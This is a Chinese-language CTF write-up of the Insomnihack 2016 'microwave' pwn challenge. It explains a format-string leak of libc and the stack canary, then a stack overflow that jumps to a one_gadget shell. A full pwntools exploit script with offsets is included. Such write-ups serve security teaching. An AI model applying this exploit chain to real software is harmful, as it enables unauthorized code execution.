insomnihack CTF 2016-microwave

程序基本信息

程序防禦全開,shellcode修改got表等方法都不太可行,同時pie開啓也使程序代碼隨機化了。

程序漏洞

這是一個發推特的程序,具體功能不在這裏細說,這個程序有兩個漏洞:
   一個是存在在功能1中的格式化字符串漏洞,在函數sub_55D83D2C4F00中

經過分析能夠發現,a1是咱們輸入的值,因此這裏咱們能夠輸入格式化字符串泄露棧上的地址

   第二個是存在在功能2中的棧溢出漏洞,在函數sub_55D832C5000中

因爲這個函數的調用沒有靠傳統的rbp,而是靠sub rsp與add rsp來分配回收棧幀的,因此溢出字節數須要本身測算一下

總體思路

因爲程序給了libc,咱們用one gadget工具看看能夠跳轉到那些地址能get shell

咱們能夠選用第一個,只要讓返回地址返回到內存中gadget位置便可(須要注意控制rax的值爲0)。
   找到getshell的方法後,咱們的思路就很清晰了,首先咱們輸入構造好的格式化字符串和password(程序中能找到),泄露棧上的libc中stdin的地址,而後減去stdin在libc中的偏移再加上0x45526就能獲得gadget在內存中的起始地址,而後調用有棧溢出的函數,讓返回地址指向gadget,就能成功pwn掉程序get shell

exp腳本

from pwn import *

context.update(os = 'linux', arch = 'amd64')

io = remote('172.17.0.2', 10001)

io.sendline('1')                    #使用功能1觸發格式化字符串漏洞
io.recv('username: ')
io.sendline('%p.'*8)                #格式化字符串泄露libc中的地址和canary
io.recvuntil('password: ')
io.sendline('n07_7h3_fl46')         #密碼硬編碼在程序中,能夠直接看到
leak_data = io.recvuntil('[MicroWave]: ').split()[1].split('.') 
leak_libc = int(leak_data[7], 16)     #經過調試可知,stdin在printf的第8個參數
one_gadget_addr = leak_libc - 0x3c26f0 + 0x45526        #計算one gadget RCE地址(0x3c26f0和0x45526分別爲stdin跟gadget在libc中的偏移)
canary = int(leak_data[5], 16)    #經過調試可知,canary在printf的第6個參數
log.info('Leak canary = %#x, one gadget RCE address = %#x' %(canary, one_gadget_addr))

payload = "A"*1032                  #padding
payload += p64(canary)              #正確的canary,canary在棧上與返回地址有8個字節的差距
payload += "B"*8                    #padding
payload += p64(one_gadget_addr)     #one gadget RCE

io.sendline('2')                    #使用有棧溢出的功能2
io.recvuntil('#> ')
io.sendline(payload)

sleep(0.5)              
io.interactive()

內容參考

Linux pwn入門教程(9)linux

相關文章
相關標籤/搜索